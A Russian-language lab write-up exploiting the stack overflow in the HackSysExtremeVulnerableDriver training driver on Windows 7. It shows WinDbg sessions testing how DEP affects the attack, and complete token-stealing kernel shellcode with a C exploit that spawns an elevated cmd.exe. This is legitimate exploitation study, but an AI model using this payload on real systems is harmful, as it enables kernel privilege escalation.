Windows Exploitation Resources
Nixawk awesome windows exploitation
Ссылочки
Пара врайтапов на питоне, павершелле и на сях от хашерезады:
Собственно сорцы самого драйвера:
HackSysExtremeVulnerableDriver
Приступим
- Windows 7 x86 SP1
- Код в конце
- Дебаг
-
- bp HEVD!TriggerStackOverflow
-
- bp HEVD!TriggerStackOverflow + 8f
Выключен DEP + shellcode
Computer --> Properties --> Advanced --> Performance --> Data Execution Prevention
Сначала (переписав чужой код и собрав всё нужное вместе) я ошибся и в строке memcpy(&expl[0x820], &shellcode, 0x4);
Использовал shellcode вместо shellc_ptr
Разница в том, что shellcode объявлен в секции данных, которая, если я правильно понимаю, будет неисполняемой только в случае включённого DEP’а
shellc_ptr же - это аллоцированная область в куче, в которой мы сами выставляем исполняемый бит и DEP тут ни при чём
Всё сработало, эксплойт прокатил, но ошибку я заметил и решил поэкспериментировать
HEVD!TriggerStackOverflow+0xc8:
a7f616f2 c20800 ret 8
kd> dd /c1 esp L3
ab679ab4 004040c0
ab679ab8 0022f680
ab679abc 00000824
Адрес в верхушке стека - место, где в секции даты лежит шеллкод Посмотрим на права на секции:
kd> !pte 004040c0
VA 004040c0
PDE at C0600010 PTE at C0002020
contains 0000000064979867 contains 8000000064853025
pfn 64979 ---DA--UWEV pfn 64853 ----A--UR-V
Адрес очевидно в пространстве даты в процессе Исполняемого бита E на месте нету (в PTE)
Шагаем дальше и всё исполняется
Выключен DEP + shellc_ptr
HEVD!TriggerStackOverflow+0xc8:
a7f616f2 c20800 ret 8
kd> dd /c1 esp L3
adfefab4 002c0000
adfefab8 0022f680
adfefabc 00000824
Очевидно, адрес уже из кучи Бит E стоит
kd> !pte 002c0000
VA 002c0000
PDE at C0600008 PTE at C0001600
contains 000000005BCE4867 contains 000000005BCC4867
pfn 5bce4 ---DA--UWEV pfn 5bcc4 ---DA--UWEV
Включен DEP + shellcode
kd> dd /c1 esp L3
abeedab4 004040c0
abeedab8 0022f680
abeedabc 00000824
Адрес из даты Бита нету
kd> !pte 004040c0
VA 004040c0
PDE at C0600010 PTE at C0002020
contains 0000000051BD3867 contains 8000000051C05025
pfn 51bd3 ---DA--UWEV pfn 51c05 ----A--UR-V
Сидим курим бамбук…
kd> t
004040c0 60 pushad
kd> t
Access violation - code c0000005 (!!! second chance !!!)
004040c0 60 pushad
Включен DEP + shellc_ptr
Куча
HEVD!TriggerStackOverflow+0xc8:
aa35e6f2 c20800 ret 8
kd> dd /c1 esp L3
ab163ab4 002c0000
ab163ab8 0022f680
ab163abc 00000824
Исполняемая
kd> !pte 002c0000
VA 002c0000
PDE at C0600008 PTE at C0001600
contains 0000000058F7E867 contains 000000005903D867
pfn 58f7e ---DA--UWEV pfn 5903d ---DA--UWEV
Код
shellcode.asm
; nasm -f bin shellcode.bin shellcode.asm
[bits 32]
;FS:[0](_KPCR) --> _KPCR+0x120 (PrcbData _KPRCB) --> _KPRCB+0x4 (CurrentThread _KTHREAD) --> _KTHREAD+0x40 (ApcState _KAPC_STATE) --> _KAPC_STATE+0x10 (Process _KPROCESS)
;_EPROCESS.UniqueProcessId _EPROCESS+0xb4
;_EPROCESS.ActiveProcessLinks _EPROCESS+0xb8
;_EPROCESS.Token _EPROCESS+0xf8
section .text
WIN7_SP1_SYS_PID equ 004h ; System PID in Windows 7 SP1 x86
WIN7_SP1_PID_OFFSET equ 0B4h ; nt!_EPROCESS.UniqueProcessId
WIN7_SP1_TOKEN_OFFSET equ 0F8h ; nt!_EPROCESS.Token
WIN7_SP1_FLINK_OFFSET equ 0B8h ; nt!_EPROCESS.ActiveProcessLinks.Flink
WIN7_SP1_KTHREAD_OFFSET equ 124h ; nt!_KPCR.PcrbData.CurrentThread
WIN7_SP1_EPROCESS_OFFSET equ 050h ; nt!_KTHREAD.ApcStateProcess
global _start
_start:
pushad
xor eax, eax ; Set ZERO
mov eax, [fs:eax + WIN7_SP1_KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + WIN7_SP1_EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current thread's _EPROCESS structure
mov edx, WIN7_SP1_SYS_PID ; System PID
SearchSystemPID:
mov eax, [eax + WIN7_SP1_FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, WIN7_SP1_FLINK_OFFSET
cmp [eax + WIN7_SP1_PID_OFFSET], edx ; Compare nt!_EPROCESS.UniqueProcessId with pid in edx
jne SearchSystemPID
mov edx, [eax + WIN7_SP1_TOKEN_OFFSET] ; Get System process nt!_EPROCESS.Token
mov [ecx + WIN7_SP1_TOKEN_OFFSET], edx ; Replace nt!_EPROCESS.Token with System's Token
popad
xor eax, eax ; Set NTSTATUS SUCCESS
pop ebp
ret 8
exploit.c
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#define IO_CODE 0x222003
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
int main() {
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
DWORD bytesRetn;
char expl[0x824];
memset(expl, 'A', sizeof(expl));
char *shellcode = "\x60\x31\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x89\xC1\xBA\x04\x00\x00\x00\x8B\x80\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00\x75\xED\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\x61\x31\xC0\x5D\xC2\x08\x00";
LPVOID shellc_ptr = VirtualAlloc(0, 58, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, shellcode, 58);
memcpy(&expl[0x820], &shellc_ptr, 0x4);
//memcpy(&expl[0x820], &shellcode, 0x4);
//expl[0x820] = ((unsigned char *)(&shellcode))[0];
//expl[0x821] = ((unsigned char *)(&shellcode))[1];
//expl[0x822] = ((unsigned char *)(&shellcode))[2];
//expl[0x823] = ((unsigned char *)(&shellcode))[3];
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, expl, sizeof(expl), NULL, 0, &bytesRetn, NULL);
system("cmd.exe");
CloseHandle(hDevice);
return 0;
}